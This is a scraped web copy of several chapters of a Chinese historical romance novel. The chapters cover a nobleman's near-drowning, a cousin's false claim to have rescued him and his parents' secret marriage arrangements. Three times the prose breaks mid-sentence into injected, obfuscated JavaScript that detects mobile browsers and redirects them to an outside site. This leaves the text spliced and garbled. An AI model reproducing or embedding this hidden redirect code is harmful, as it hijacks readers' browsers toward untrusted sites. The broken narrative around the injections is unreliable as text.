琵琶姑娘带着几个酒保、杂役赶来,见三人还在水中挣扎,连忙下河来帮忙,几个人七手八脚地将秦淮月和晏澄洲给拉上了岸。 晏澄洲双眼紧闭,嘴唇白得没有一丝血色,直挺挺地躺在地上,一声不吭。 小六哇地一声哭了出来:“公子,你可别死啊!” 秦淮月听了小六这话,心下不由得一悸,颤颤巍巍地去探晏澄洲的鼻息。 万幸,他还有呼吸。 晏澄洲的眼皮突然颤了颤。 小六扑到他胸前嚎啕大哭:“公子!你千万不要有事啊!!呜呜呜……” 晏澄洲脑袋涨痛,一手揉着太阳穴,一手将小六从胸前扒开:“咳咳咳……你家公子……还没死呢!” “晏公子!晏公子!” 掌柜领着店内一大帮人,乌泱泱地涌了进来,围着晏澄洲嘘寒问暖,“公子您没事吧?” “公子要不要喝点姜茶?小的这就去煮!” “公子……” 晏澄洲被他们吵得脑仁发疼,忍不住吼道:“能不能闭嘴!吵死了!” 一下来了这么多人,一人一句,唾沫星子都能把他给淹死。 掌柜马上向众人高声道:“安静安静,公子让你们安静!” 众人立马闭嘴。 一阵冷风飕飕吹来,晏澄洲打了个喷嚏:“给本公子备船,本公子要回去了!” 掌柜抹了一把额上的汗,连声应是:“好好好,这就备船!这就备船!” 幸好晏澄洲没事。这位公子爷要是有个什么三长两短,庆丰楼就可以关门大吉了。 众人搀扶着秦淮月和晏澄洲向岸边的码头走去,远远地便看见,一只乌篷船晃晃悠悠地向这边漂来,那船靠了岸,里头出来一个十三四岁的少女,瞧着像是哪家的小姐。 众人正准备避让,那姑娘却睁圆了眼睛,“表、表兄?” 秦淮月的脸骤然垮了下来。 颜琬怎么也来了? 见二人浑身都湿透了,颜琬面上浮起忧色,“表兄这是,落水了?” 晏澄洲的眸光从她的脸上斜斜掠过,淡道:“不劳表妹费心。” 秦淮月垂下眼帘,缄口不语。 他语气不善。颜琬微微咬唇:“姨母说,今日是中秋家宴,我见表兄不在府中,担忧表兄误了开宴的时辰,所以才来寻表兄……” 晏澄洲嘴角抿出一个讽刺的弧度,讥道:“哦?表妹连我在不在府中,爱去什么地方都这么清楚。表妹每日又是做点心,又是做女红,百忙之中还要打探我的行踪,可真是难为表妹了。” 颜琬哪里晓得晏澄洲如此伶牙俐齿,被他这尖酸的话语一呛,眼圈瞬间就红了,磕巴道:“我、我……” 晏澄洲冷眼瞧着她:“你什么你?” 秦淮月摇了摇他的胳膊,哄劝道:“好了阿郎,快回去吧,表小姐都说了,今日是家宴,本就已经误了时辰,再不回去,只怕老爷和夫人要着急了。” 晏澄洲哼了一声,牵着秦淮月的手上了船。 晏府。 正厅中,金丝楠木雕的八仙桌上摆满了各色精致菜肴,却无一人动筷。 中秋佳节,乃是团圆之日。除了在金吾衔司当值的大老爷晏守川,和尚在寺庙中吃斋的晏老夫人,晏家众人基本都来齐了。 晏家大房五岁的小公子晏安肚子饿得咕咕直叫,看着面前的芙蓉鱼片,馋得直咽口水,忍不住伸手就要去抓。 张姨娘连忙伸出筷子,啪地一下打在他手上,“安哥儿再忍忍,人还没来齐呢。” 晏安实在是饿得受不了,见母亲不让自己吃东西,嘴巴一瘪,张着嘴嚎啕大哭起来。 张姨娘连忙低声去哄,越哄,晏安哭得越大声。 张姨娘脸上一阵红一阵白,尴尬地向卢夫人道:“夫人见谅,安哥儿不懂事,让夫人见笑了。” 卢夫人叹了口气,柔声道:“安哥儿年纪小,他想吃,就让他先吃吧。我们再等等就是了。” 张姨娘道了声谢,连忙给晏安夹了一筷子鱼肉,将刺剔干净了,再喂到晏安嘴里。 晏守仁脸色铁青,狠狠掐紧了膝上的衣料,“那个兔崽子上哪儿去了?今晚是中秋宴!让这么多长辈等他一个人,我看他真是无法无天,根本没把我这个爹放在眼里!” 卢夫人劝道:“老爷消消气,我已经让人去找筠哥儿了,等筠哥儿回来了,一定让他先认了错,再吃饭。” 一旁的卢氏插嘴:“姐夫莫要动气,筠哥儿那孩子虽然荒唐了些,但也不是不知分寸的人。我听下人说,筠哥儿出府去了,已经让琬姐儿去寻他了。” 卢夫人大惊,“你怎的如此糊涂?现在天都黑了,怎能让琬姐儿一个姑娘去寻他?” 卢氏脸上一红,正想回话,门外晏澄洲的丫鬟瑞香急匆匆地进来,扑通一声跪倒在地,道:“老爷,夫人,公子回来了。” 晏守仁怒气冲冲地站了起来:“他还知道回来!我还以为他死在外边儿了!都不许给他饭吃!叫那小子到书房给我跪着,跪够三个时辰,再来吃饭!” 瑞香膝盖一软,连忙叩首:“老爷,公子落水了,现在正在换衣裳呢。公子本就受了寒,老爷要罚他,也得换个时候啊!” 晏守仁听完,一股怒气直冲肺腑:“你说什么?” 卢夫人慌张地一把扶起瑞香:“筠哥儿落水了?可有什么大碍?” 瑞香眼中水汽氤氲,吞吐着说:“夫人,公子没事。秦娘子和小六也跟着公子一道出了府,小六说,公子是为了帮秦娘子摘花,才落水的。” 卢氏惊讶道:“啊呀,这筠哥儿要出府,月儿怎么也不帮忙劝着点儿?怎么还怂恿筠哥儿去摘劳什子花?” 卢夫人当下也顾不上这么多,领了几个丫鬟,急急忙忙地向绿玉小筑走去。 晏澄洲和秦淮月一行人回了绿玉小筑,便到各自的屋子去换衣裳了。 秦淮月脸色泛白,她皮肤本来就白皙,此刻一张小脸更是冻得没有一丝血色,嘴唇哆嗦着,湿漉漉的发贴在脸侧,不住地往下滴着水,看上去楚楚可怜。 晏澄洲见她这副模样,心里又是心疼,又是生气,怎么也不是滋味。 他咬牙,揉了揉她的头发,恨铁不成钢地道:“你说你,你当时怎么就跟着我一起跳下来了?庆丰楼那么多人,随便哪个都能把我捞起来,就你最能耐?就非得你来捞我?” 秦淮月垂着脑袋,眼睫上还挂着几颗水珠,抽抽噎噎地抹着眼泪,“哥哥,我知道错了,你能不能不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357218|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我……” 晏澄洲深吸了一口气:“好好好,我不说了,不说了。快去换衣裳,让人烧点水,晚上好好泡一泡,可别染上风寒了。” 她生了病,心疼的不还是他。 卢夫人和卢氏赶到绿玉小筑时,颜琬已经回了自己的住处。 卢氏焦急地问:“琬琬呢?琬琬怎么不在?” 瑞香低声道:“表小姐回绛云院了。” 卢氏连忙对卢夫人道:“阿姊,先容我回去看看琬姐儿。” 卢夫人点点头,携着瑞香进了正房。 屋内点了炭,四周的窗都关得严严实实,密不透风。 晏澄洲穿着一件素色中衣,外裹着佛头青的名贵鹤氅,怀里揣了个手炉,锦被搭在腰间,闭着眼靠在香梨木床上。 卢夫人见晏澄洲面色红润,稍稍放下心来。她轻手轻脚地过去,在晏澄洲床边坐下,沉下脸道:“筠哥儿,你今日怎么回事?明知是中秋,还要出府。好端端的,怎么还落了水?” 晏澄洲睁开眼,露出一个粲然的笑容,道:“娘,我没事儿。就是喝多了酒,没看清脚下,就栽到河里去了。” 卢夫人眉头紧皱:“月儿是不是也跟着去了?她让你给她从河里摘花?” 晏澄洲连忙摆手:“没有的事!是我自己不小心。” 他生怕卢夫人误会了秦淮月,又补充道:“娘你不知道,是月儿跳下水救的我!你说她厉不厉害,她一个小姑娘,居然能把我一个大男人从河里捞上来!” 卢夫人哧笑出声:“尽胡说!月儿不识水性,我又不是不知道。” 晏澄洲急了,双手紧紧抓住卢夫人的胳膊:“娘!真的是月儿把我捞上来的——” 话还没说完,门外便传来晏守仁的一声大喝:“晏筠!你给老子滚出来!” 晏澄洲将手拢在嘴边,大声喊道:“爹!您好歹也是朝中大员,怎么能说这种不文雅、不庄重的话呢?让您的下属和同僚知道,您的一世英名可就毁于一旦了啊!” 晏守仁怒不可遏,提着鞭子推门闯了进去:“你小子休要在这里耍嘴皮子,别以为有你娘在,老子就不敢打你!” 晏澄洲嬉皮笑脸地往卢夫人身后躲:“娘救我!” 卢夫人忙起身拦在二人中间,“老爷,筠哥儿今日才落了水,吹不得风。改日,改日您再罚他——” 晏守仁攥着鞭子,一脸恨铁不成钢:“慈母多败儿!这小子就是被你和老夫人惯出来的!” 晏澄洲朝他做了个鬼脸,掀了被子,就要往屋外逃。 晏守仁抄起鞭子追了出去,拿着鞭子的手隐隐发抖:“你小子还敢跑!给我站住!” 卢夫人心急如焚,声音带着哭腔,追上去劝道:“老爷!别打了!筠哥儿不能受凉!” 绛云院中。 卢氏握着女儿的手,殷殷道:“琬琬,怎么样,见着你表哥了吗?” 颜琬红着眸子:“见是见着了,只不过,表哥应该是知道咱们差人盯着他的事了。” 先前,卢氏为了让颜琬往晏澄洲身前凑,买通了绿玉小筑内的一个小厮,以便了解晏澄洲平日的喜好和去向。今日那小厮见晏澄洲等人翻墙往城南去了,就猜测晏澄洲一定是去庆丰楼,立马跟卢氏和颜琬通了气儿。 卢氏又问:“今日你表哥是为何落水?” 颜琬说:“这个女儿不知,只是回来的路上,听表哥的小厮说,是表哥身边的秦娘子下水将表哥救上来的。” 卢氏眼睛一亮,“当时,可有人瞧见是秦娘子救的?” 颜琬有些疑惑:“小六说,他来的时候,只看见秦娘子和表哥一齐在水中挣扎,后来是他和庆丰楼里的其他人将他们拉上来的。” 卢氏眼珠一转,又问:“那回来的路上,可有其他人?” 颜琬摇了摇头:“只有我、表哥、小六和秦娘子。” 卢氏思忖片刻,抓着颜琬起身:“琬琬,你先不要换衣裳,去院里往身上浇几瓢水,跟我去你姨母院里一趟。” 卢夫人好不容易将晏守仁劝了回去,又让瑞香给晏澄洲煮了姜汤,方才回房坐定,不到一盏茶的功夫,卢氏便携着颜琬来了。 20. 旧时淮月(四) “阿姊,你看看我们琬琬!” 卢氏一进正院,便哭丧着脸,一把握住卢夫人的手,“我就琬姐儿一个女儿,要是她有个什么三长两短,可叫我怎么活呐!” 卢夫人忙将她拉到一旁的绣墩上坐下,又亲自给她倒了杯茶,问道:“琬姐儿出什么事了,叫你这样心急?” 卢氏接了茶,扯着袖子揩眼泪,“今日,琬姐儿去城南寻筠哥儿,远远地见着筠哥儿落了水,琬姐儿急得不行,当即就跳下河要去捞她表哥!虽说是琬姐儿一番好意,两个孩子也都无碍。但我这心里,哎呀,就跟车轱辘似的,一上一下!” “阿姊,你说说,这丫头怎么就这么傻呢!也不想想她娘、想想她姨母,就顾着她表哥去了!” 卢夫人听了,心里也是一惊,道:“快叫琬琬进来,让我好好瞧瞧!” 屏风外,颜琬嘴唇不住地哆嗦,声音带着一丝哽咽:“姨母恕罪,侄女仪容不整,恐怕有碍观瞻,侄女就站在外面恭听好了。” 卢夫人起身,举步绕过屏风,见颜琬一身水蓝色菱裙湿了大半,刘海服帖地粘在额间,正披着一件褙子,站在院外瑟瑟发抖。 卢夫人叹了口气,将颜琬拉了进来,对守在门口的丫鬟道:“去把公子叫来,就说我有话问他。” 丫鬟应了声是,便去绿玉小筑中请晏澄洲。 未过多时,晏澄洲披着鹤氅,进了卢夫人的院子,却见卢夫人站在月洞门外,眉宇间写满忧色,似是在等他。 晏澄洲愣道:“娘,你怎么出来了?为何不进屋等?” 卢夫人犹豫了半晌,开口道:“筠哥儿,我且问你,今日你醉酒落水,是不是你表妹把你救起来的?” 晏澄洲听了这话,心里顿时雪亮了几分,不觉好气又好笑:“娘,该不会姨母和表妹在您面前哭诉了几句,您就真信了吧?” 卢夫人摇了摇头:“我就是不信,才叫你过来,让你同你姨母把话说清楚。” 晏澄洲抿唇:“这有什么好说的。我都说了,是月儿下水捞的我!” 卢夫人却道:“你还是进去,解释一下为好。” 说是颜琬救的晏澄洲,卢夫人自然不相信,可要说是秦淮月,卢夫人就更不信了。 这也不能怪她,秦淮月自小便不识水性,见了水就怕。到了十来岁,还不会洑水。 有一回,晏澄洲院里的几个丫鬟存心捉弄她,故意把她推进了院中的荷塘。那荷塘其实也不深,水刚刚能漫过她的腰,秦淮月却吓得不行,被捞上来后,还病了大半个月,夜里口齿不清地说着胡话。惹得晏澄洲大怒,告到卢夫人那里,把那几个推秦淮月入水的丫鬟通通发卖了。 今日,晏澄洲却说是秦淮月下水救的他,卢夫人当然不信。 晏澄洲大马金刀地走进屋内,颜琬见他进来,面上浮起一抹霞色,微微垂下了头,羞赧地唤道:“表兄。” 晏澄洲嘴角噙着笑意,一双星眸中满含戏谑:“我今日醉酒落水,表妹竟奋不顾身地救我,不过,我怎么不知道呢?” 卢氏眉开眼笑:“筠哥儿,你当时定是呛了水,昏过去了,所以才不晓得。” 晏澄洲睨了她一眼,忽然举步向颜琬逼近,将脸凑了过去。 颜琬呼吸紊乱,脸一下子烧了个透红,脚下不由自主地后退了几步。晏澄洲靠得极近,挺翘的鼻尖几乎要触到她的脸颊。 卢夫人惊得起身,“筠哥儿,你这是做什么?” 晏澄洲朗声笑道:“表妹怎么这般狼狈?” 颜琬强行支起笑容,“我、我仪容不整,让表哥见笑了。” 晏澄洲脸上笑意更浓,啧啧了两声,双手负在身后,懒声道:“表妹,做戏也要做全套。你以为,拿几瓢水往身上浇上一浇,就能冒领了这救人的功劳,把我娘骗过去了?” 他扯了扯颜琬的袖子,“要浇,就要浇个透心凉才好,那才叫乱了仪容。像表妹这样,衣裳只湿了一半的,那可算不上什么仪容不整。” 卢夫人一听,果然,乍一看,颜琬浑身都湿透了。仔细瞧却发现她裙子的下摆仍是干的,一双绣鞋虽然沾了些水渍,整个鞋面上大部分也还是干的。 颜琬本就心虚,听了这话,眼圈一下子红了,一粒豆大的泪珠凝在眼睫上,随着她的动作轻轻颤动,摇摇欲坠。 卢氏急了,想要反驳晏澄洲,舌头却跟打了结似的,好半天也吐不出一个字来。 晏澄洲看着两人的惶急之态,渐渐冷了面容。他五官本就生得凌厉,难得沉下脸来,目光薄如刀刃,让人如坠冰窟。 “看来之前是我说得不够明白,我娘说得对,有些话,今日我必须得说清楚了。” “我本无意于表妹,姨母和表妹却一而再、再而三地强求。我娘看你们二人孤儿寡母,不忍心看你们落难,好心收留你们,你们却得寸进尺,居然还想冒领这救命之恩,好来要挟我。今日此事,就这么揭过去了,但你们以后莫要再出现在我眼前,也不要再找人盯着我。若有下次,别怪我不顾亲戚情分。” 说罢,晏澄洲便拂袖出门而去。 颜琬脚下一软,当即瘫坐在地上。 卢氏气得跳脚,“阿姊,筠哥儿怎么这样跟我们说话……” 卢夫人淡淡道:“你们什么时候找人盯着筠哥儿了?” 卢氏浑身一颤,勉强笑道:“没有的事儿!定是筠哥儿瞎猜的。孩子年纪小,总不免草木皆兵……” 卢夫人盯着她的眼睛,缓缓道:“筠哥儿虽然年轻,但一向都是个有主见的,喜欢谁不喜欢谁,都是由他自己说了算。他要是不喜欢琬姐儿,我这个做娘的,也不能强逼了他去。” “你放心,我是琬姐儿的亲姨母,琬姐儿没了父亲,她的亲事,我定会放在心上。你们啊,就莫要把主意打到筠哥儿身上了。” 入夜,晏守仁回了卢夫人院中,在桌前的杌子上坐下。 想到今日晏澄洲的事,他不由得一阵心堵,眉毛拧成个川字,久久不得舒展。 卢夫人上前,替他轻轻揉起了太阳穴,“老爷可还是在为筠哥儿的事忧心?” 晏守仁长舒了一口气,叹道:“那小子小时候身体不好,你我又疏于管教,如今酿成个盗跖性气,谁的话也不听。本还指望他成家后能收一收心,可如今,城中没有哪家愿意将姑娘许配给他。他又没个兄弟帮扶,等我们百年之后,他总要独自撑起门户,一想到这儿,我就怎么也放心不下。” 卢夫人道:“不是还有月儿吗?筠哥儿虽然顽劣,但月儿的话倒也听得进去。那孩子一向是个懂规矩的……” 晏守仁不耐烦地打断她:“我倒是没看出那孩子哪里懂事,筠哥儿今日落水——” “老爷,”卢夫人辩解道,“筠哥儿今日落水,是月儿把他救上来的,那孩子有情有义,明明不识水性,却能下水去救筠哥儿。月儿是个有心的,也愿意对筠哥儿好。筠哥儿身边有个知冷暖的人,等我们百年之后,两个孩子也能一起做个伴儿。” 晏守仁皱眉,“竟还有这等事?” 他转念一想,“孩子们两情相悦,倒也是好事,只是……” 晏守仁迟疑片刻,“那小子的脾气你我也知道,要是他晓得,我们瞒着他,给他订了刘宗正的姑娘,只怕他不会答应。” 卢夫人叹道:“月儿好是好,就是身份低了些。要是她身份再高些,等以后有了孩子,让筠哥儿把她扶正了,也未尝不可。只是终归……” 见晏守仁不喜,卢夫人刹住话脚,又问:“那刘家竟愿意与我们结亲?” 晏守仁颔首:“刘家虽然门第不如我们,但刘宗正的夫人乃是皇后娘娘的亲姊,刘小姐乃是皇后的亲侄女儿。有了这一重关系,将来就算晏家……皇后娘娘看在这层关系上,也能帮扶我们一二。” 卢夫人听懂了他话里的意思,垂下眸子,“就怕筠哥儿不同意。” 晏守仁扯起眉宇,斥道:“婚姻大事,哪个不是听父母之命、媒妁之言?再说了,刘姑娘我也请人去看过了,样貌、品行都是一等一的,不是个不能容人的性子。等筠哥儿娶了妻,让他把月儿抬为侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361960|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室就行了,还能有什么不满意的?” 卢夫人轻轻点了点头,服侍着他上榻歇息,之后便再无话。 寅时又下了一阵雨,淅沥的雨珠儿一层一层泼染上去,将绿玉小筑内原本颜色尚浅的青竹染成了螺青色。 瓦檐上的雨水滚滚滴落,如同飞珠溅玉。直到五更天,雨才方歇,院内又重新归于岑寂,只听得草丛间的鸣虫蛰蛰作响。 俄顷,街巷间传来陆陆续续的梆子声,晏府的下人也闻声而动,相继开始了一天的劳碌。 秦淮月听着外头廊庑上轻快的脚步声,从床上翻了个身,朝着窗外唤道:“杏儿、杏儿……” 一开口,喉咙有如火烧火燎般难受。 杏儿听她声音嘶哑,忙推门进来,走到秦淮月的榻边,给她倒了杯水:“娘子,可是嗓子不舒服了?” 她将手背贴在她的额间,果然一片滚烫。 秦淮月缓缓起身,接过杯子,顿觉一阵头晕目眩,清了清嗓子道:“可能是昨夜着了凉。” 杏儿扶着她重新躺下,将被角往上提了提,“娘子定是受了寒,奴婢让人去给您请大夫。” 秦淮月点点头:“叫人同公子说一声,这两天我就不去正屋了,让他也别往这边儿来,要是过了病气,可就不好了。” 杏儿应是,便出门请大夫去了。 大夫很快便来了,给秦淮月把了脉,说是风寒,开了些祛寒止咳的药,又叮嘱了些好好休息,将养身体之类的话。 杏儿道了谢,给大夫塞了些碎银子,将他送出了府。 大夫前脚出了门,晏澄洲后脚就下学回来了。 见大夫背着药箱从侧门出来,晏澄洲心下担忧,连忙截住他,问道:“大夫,可是我们府上哪位身体有恙?” 大夫将晏澄洲打量一番,见他打扮不俗,隐隐透着贵气,想必定是府里的哪位公子,便朝他行了一礼,道:“乃是贵府内一位姓秦的娘子。不过,公子也不必担忧,那位娘子只是受了凉,染了风寒,老朽开了几副药,吃上三五天,方可痊愈。” 晏澄洲一听是秦淮月,便晓得她定是昨日落水着的凉。 想到她是受自己所累,他心下不免弥起一丝愧疚。 向大夫道了声谢,晏澄洲便径直去了秦淮月屋中。 他一进门,便喊道:“小月儿!” 一股浓浓的药味儿混着茯苓香扑面而来。 杏儿端着碗,服侍秦淮月喝药,见晏澄洲突然闯进来,手一哆嗦,险些将药碗砸到秦淮月身上:“公、公子——” 晏澄洲心里正烦躁,见她如此毛手毛脚,火气骤起,喝道:“出去!” 杏儿被他疾言厉色的样子吓得浑身哆嗦,搁下药碗,便快步跑了出去。 晏澄洲抿着唇,在秦淮月的榻边坐下,伸手探了探她的额头。 秦淮月抬起眼帘,水润的杏眸望向他:“公子,我药还没喝完呢。” 晏澄洲蹙眉:“杏儿都走了,你还叫我公子?”他将药碗从她床边的桌案上取下,拿木匙舀了一勺药汁,送到她唇边。 秦淮月有些迟疑,“还是我自己来吧?” “张嘴。”他语气不由分说。 秦淮月只好老老实实地张开嘴。 晏澄洲端着碗,一勺一勺地将药给她喂完,又从袖子里取了一颗雪花糖,剥开糖纸,喂进秦淮月嘴里。 秦淮月嚼了几口,丝丝沁甜从舌尖弥开,不一会儿,便冲淡了药汁留下的苦意。 她吃完糖,重新躺回了被子里,只露出一双水濛濛的眼睛,瓮声瓮气地说“阿郎,你还是快些回去吧,我怕过了病气给你。” 晏澄洲没好气道:“你郎君身体好的很,不会被你过了病气。” 他捏了捏她的手,“怎么这么冷?” 晏澄洲一把掀开被子,长臂一揽,搂着秦淮月的纤腰,将她揉到自己胸前。 两个人躺在一个被窝里,身子严丝合缝地贴在一起,热意瞬间从脚底窜了上来。 秦淮月惊呼一声,“晏哥哥!” 21. 旧时淮月(五) 晏澄洲紧紧搂着她的背,温热的气息拂落,如同一根轻柔的羽毛,挠得秦淮月心痒痒的。她额间的发被他蹭乱了,脸贴在他硬热的胸前,可以清晰地听到晏澄洲有力的心跳声。 感受到他身体的温度,一丝酥麻的热意从她脊背上迅速窜了过去。 秦淮月浑身都烫了起来,长睫如蝴蝶微憩般轻轻颤动。 她轻轻捶了捶晏澄洲的胳膊:“阿郎,我要喘不上气儿了。” 晏澄洲抱着她的手臂松了松。 他低下头,将唇瓣贴在秦淮月的发间,蹭了蹭她的脑袋,弯起嘴角,向她邀功道:“昨日,有个撒谎精想冒领你的功劳,幸亏你家郎君聪明,拆穿了她的阴谋。” 秦淮月目露疑惑。 晏澄洲便把昨日的情形同她说了一遍。 秦淮月听完,心中暗忖,颜琬脸皮那么薄,被晏澄洲酸言酸语地讽刺几句,都能红了眼睛,怎么可能用这种拙劣的法子去博卢夫人的信任? 不是颜琬,那就只能是卢氏出的主意。 想到此处,秦淮月劝道:“阿郎也不用对表姑娘这么大的意见,住在同在一个屋檐下,低头不见抬头见的,撕破了脸,两边儿都不好看。” 晏澄洲蹙起眉尖,孩子气地来了一句:“我讨厌那个撒谎精!” “她居然想用救命之恩要挟我,想让我娶她,她还没你长得好看呢。” 秦淮月的脸一下子烧得通红。 她确实生得美,两弯乌眉细长,亮晶晶的眼珠儿跟水杏似的。小脸白皙莹润,朱唇饱满,两颊粉腻,让人想到荷花尖尖儿上的两抹粉红。 “那万一遇上个比我更好看的姑娘呢?”她低哝了一声。 晏澄洲答得飞快:“我又不稀罕美人——” 秦淮月白了他一眼:“阿郎先前说,不喜欢表姑娘,是因为表姑娘没我好看。现在又说不稀罕美人,真是自相矛盾,阿郎就会说漂亮话来哄我。” 晏澄洲剑眉一扬,支手撑在榻上,目光灼灼地看着她,“你看看这金陵城内的姑娘,有哪一个比本公子好看的?” 秦淮月扑哧一笑,“是是是,谁都美不过你晏四郎君。” 晏澄洲哈哈大笑起来,凑过身去,用力在她脸上亲了一口,吧唧一声极其响亮,“小月儿,你什么时候嘴这么甜了?” 秦淮月半张脸都被亲得发麻,她蹙起眉梢,使劲儿推开他,嫌弃地说:“你离我远点,到时候可别怪我把风寒惹给你。” 晏澄洲不听,跟只小狗似的埋首在她颈间。 秦淮月颈间有一块月牙状的胎记,晏澄洲埋头,温热的舌尖细细舔舐着那块胎记,把她脖子弄得湿漉漉的。 她觉得痒,咯咯地笑了起来,“晏、晏哥哥……” 晏澄洲的手捂在她胸前,突然冷不丁来了一句:“月儿,你可千万别再生病了,你一生病,都要瘦一大圈儿。统共身上都没二两肉,抱着硌手。” 秦淮月被他这句荤话气得小脸通红,伸手便去挠他的胳肢窝,“晏筠你这混蛋!不要脸!” 晏澄洲笑得眼泪都要出来了,手忙脚乱地去抓她的手,嘴里嚷嚷着:“好月儿,好妹妹,好娘子!我错了!我再不说了!哈哈哈!!” 秦淮月整个人压到他身上,听他“妹妹”“娘子”一通乱叫,气得腮帮子鼓鼓的,骂他:“你这背时砍脑袋的!” “不兴这么咒人的!我死了,你可就成寡妇了!” 晏澄洲叫唤起来。 秦淮月一时失言,心中不禁有些后悔。 趁她跑神,晏澄洲顿时起了坏心,一把抱住她的腰肢,将她重新压回身下。 两人在榻上胡闹了好一会儿,秦淮月出了汗,只觉得浑身清爽,烧也退了大半。 用过晚膳后,秦淮月便把晏澄洲赶回了正屋睡。 晏澄洲不肯走,依依不舍地缠了她小半个时辰,秦淮月绞尽脑汁,说了一箩筐的好话,总算把这祖宗请出了屋。 大夫开的药一天要喝两回,秦淮月睡前还要用一道。 杏儿去后厨给秦淮月煎药。 等药煎好,她端着雕花漆盘,准备回绿玉小筑。 杏儿穿过抄手游廊时,正好瞧见一大帮仆妇,抬着几十个坚实的楠木箱子,正往后院的库房里送。府中的杨管事并着几个婆子,伸着脖子在一旁指挥。 杨管事嚷嚷道:“都给我小心些!这可是公子的聘礼!不日公子就要去刘家提亲了,要是磕着碰着了,仔细你们的皮!” 杏儿傻了。 什么聘礼?公子要去给谁下聘礼? 怎么她和主子一点消息也不知道? 杏儿捧着药碗的手微微颤抖。 也是,公子要娶正夫人了,肯定怕娘子晓得了要闹,又怎么会主动告诉她呢? 秦娘子同公子青梅竹马,公子虽然宠爱秦娘子,但秦娘子只是个通房,人微言轻,她又那么喜欢公子。等公子的正妻进了门,她还不知道要怎么难过! 万一,那未来的夫人是个善妒的,进门后肯定想方设法地给娘子穿小鞋,娘子的日子必定不好过。 想到平日里自家主子待自己的好,杏儿打心眼儿里替她难受。 不能让娘子就这样被瞒在鼓里! 东厢房内。 秦淮月阖着眸,纤长的睫毛密密地垂着,她双手交叠着枕在桌上,墨发披散在身后,露出一段霜色纤柔的颈。 壁桌上的香龛焚着苏合香,浅如一线的香气自镂空处幽幽飘出。 她的脸颊泛红,唇角微微翘起,像是做了什么美梦。 杏儿推门进来,瞧着秦淮月这副天真的模样,一时不知道该怎么开口。 她强忍着眼泪道:“娘子,该喝药了。” 秦淮月懵懵懂懂地睁开眼,嘴唇弯了弯,玉齿微露,朝杏儿露出一个浅浅的笑。 杏儿将药端过去,待秦淮月喝完后,端了盘子准备退下。 她咬咬牙,下定了决心道:“娘子,公子要娶妻了。” 秦淮月心口一颤,不可置信地抬起头来,“你说什么?” 杏儿嗫嚅着:“刚才我去替娘子煎药,回来的时候,看见杨管事正安排人搬箱子,有好几十个,说是公子给未来夫人的聘礼……” “杨管事说,公子不日就要去提亲了。” 秦淮月心上一阵密密匝匝的疼,只觉得浑身血都凉透了。 晏筠他,要娶妻了? 虽然秦淮月知道,这一天迟早要来的,但是她没想到会这么快。晏澄洲要明年才及冠,为何今年就要迎正妻过门? 她想到白日里,晏澄洲还在同自己蜜里调油,晚上却在准备聘礼迎娶新夫人,浓浓的委屈瞬间从四面八方涌了上来。 他一直在瞒着自己。 秦淮月胃里一阵翻江倒海,秀气的眉头紧紧蹙起,她捂着腹部,大滴冷汗沿着两颊滑落。 见秦淮月脸上露出痛楚之色,杏儿顿时有些后悔,本想上前宽慰她几句,秦淮月却哇的一声,将刚才吃进去的药全部吐了出来,吐得满地满身都是。 杏儿惊叫起来:“娘子!” 秦淮月忍着痛,朝她做了个噤声的动作。 杏儿止住哭声,哆嗦着将秦淮月从榻上扶了起来,轻轻地给她拍背。她忍着泪道:“娘子别慌,兴许、兴许是奴婢听错了也不一定,要不奴婢去问问公子……” 秦淮月声音沙哑,不觉滚下泪来:“别去。公子既然有意瞒着我们,去问了,他也不一定说实话。” 杏儿泪眼汪汪:“娘子,那我们怎么办?” 秦淮月深深闭上眼,抿紧了唇。 翌日,晏澄洲来东厢房用早膳。 杏儿有些犹豫,问秦淮月:“公子过来了,可要让他进来?” 秦淮月摇了摇头:“还是不了。” 她现在还不知道要怎么同晏澄洲说这件事。 在自己想好之前,还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏澄洲挠了挠头,打算等秦淮月气消了,再来哄她。 一连好几天,晏澄洲都没再来东厢房。 秦淮月坐在桂花树下,拿桂花串手串玩儿。 晏澄洲此时不在府内,不知又跑到哪个酒楼吃酒去了。 杏儿见她神色怏怏,忙笑着捧上一盘桂花糕来:“娘子,别不高兴了,吃块桂花糕,可甜了!” 秦淮月轻轻地拈起一块,膳房的厨子别出心裁,将桂花糕做成了花形,上面点缀着金黄的桂花粒,看上去就让人很有食欲。 秦淮月秀气地咬下一小口,里头填的是掺了蜂蜜的桂花馅儿,一口咬下去,整个人的心情都好上许多。 她吃着桂花糕,两个腮帮子鼓鼓的,含糊不清地道:“你说公子这几天都在忙什么呢?” 杏儿愤愤地说:“公子肯定是忙着提亲去了,三书六礼一套流程走下来,忙都忙不过来,哪有空来看娘子!” 秦淮月听了这话,一股怒气瞬间直直冲上了天灵盖,气得将手中的桂花糕狠狠啃下一大口。 晏澄洲这个背时砍脑袋的!有了新人,就忘了她这个旧人了。 秦淮月眼圈红了。 晏澄洲不爱读书,喜欢出去喝酒逛花楼,他爹娘怎么说都不听,可只要她稍稍敲打几句,他就会有所收敛。 晏澄洲最讨厌女人在他面前掉眼泪,却任由她百般哭闹,小心翼翼地哄着她,让着她。 